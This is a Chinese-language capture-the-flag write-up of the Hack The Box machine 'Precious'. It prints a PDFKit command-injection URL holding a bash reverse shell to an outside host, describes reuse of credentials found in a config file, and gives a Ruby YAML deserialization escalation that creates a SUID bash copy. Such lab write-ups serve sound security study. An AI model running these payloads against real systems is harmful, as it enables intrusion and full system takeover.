Precious
Enumeration
nmap
第一次扫描发现系统对外开放了22和80端口,端口详细信息如下
可以看到系统对外开放了22和80端口,并且提示80端口需要配置域名precious.htb,将其添加到/etc/hosts文件中
http
访问该网站,页面提示将web页面转化成pdf
使用wappalyzer发现网站还使用了phusion passenger的技术
搜索关键词发现他其实是一个web服务器,支持ruby,python和node.js
在burpsuite中,可以看到web使用的是ruby语言
考虑web的主要功能是将url转化成pdf,试了很多次都未能成功,尝试开启一个http,使用python3 -m http.server,然后在web中提交http://10.10.14.11:8000(默认端口是8000),会生成一个随机数为名的pdf文件,x74jumkopivpg2v6ysdz7g9gj7vdwxip.pdf,查看该文件的元数据,可以看到该pdf由pdfkit v0.8.6生成
Exploitation
Ruby PDFKit command injection
搜索pdfkit v0.8.6,发现有很多exploit,都指向CVE-2022-25765,synk有对应的PoC
如果应用程序尝试呈现包含带有用户输入的查询字符串参数的 URL,则应用程序可能容易受到攻击:
PDFKit.new("http://example.com/?name=#{params[:name]}").pdf
其给出的示例为
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
因为本来网络就很不稳定,sleep 5究竟执行与否很难确定,将其替换为id,经过尝试发现 %20`id` 即可运行
将id替换为反向shell脚本,即可获取shell,在网站中填写
http://10.10.14.11:8000/?name=%20`bash -c "bash -i >& /dev/tcp/10.10.14.11/443 0>&1"`
最后监听端会收到一个shell
Lateral Movement
继续探索时,发现家目录下了除了ruby还有henry,但是无法访问henry其中的内容
在ruby目录下发现了.bundle,该目录通常托管Gem和Ruby存储库使用的配置文件,其中有config文件,打开该文件发现只有一行,可以看到其中有用于访问RubyGems存储库的身份验证凭据,而用户名为henry,考虑密码复用,可以横向移动至henry用户
接下来可以使用该用户名和密码ssh登录系统
Privilege Escalation
Ruby Deserialization
以henry身份登陆系统后可以获取user.txt,然后使用sudo -l查看henry的sudo权限,发现不需要密码可以以root身份执行ruby去运行/opt/update_dependencies.rb文件
打开该文件,其中有这样一行,可以看到读取了dependencies.yaml文件,但是dependecies.yml是一个相对路径,也就意味着可以尝试利用这段代码,脚本中还检查了指定版本与系统上安装的是否一致
···
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
···
在ruby-doc文件中提到
不要使用 YAML 加载不受信任的数据。这样做是不安全的,并且可能允许恶意输入在您的应用程序内执行任意代码。
在PayloadsAllTheThings中,有一系列针对Ruby反序列化的payload,并且有版本的区别,因此需要先看看目标系统Ruby的版本
确定了版本后,即可选择对应的payload了,将其保存在/tmp目录下的dependencies.yml文件中
运行脚本,发现可以执行指令
将yml文件中的id替换为其他payload,以获取root的shell
cp /bin/bash /tmp/veg; chmod 6777 /tmp/veg
运行后,会在/tmp目录下发现veg文件,运行veg -p即可获取root权限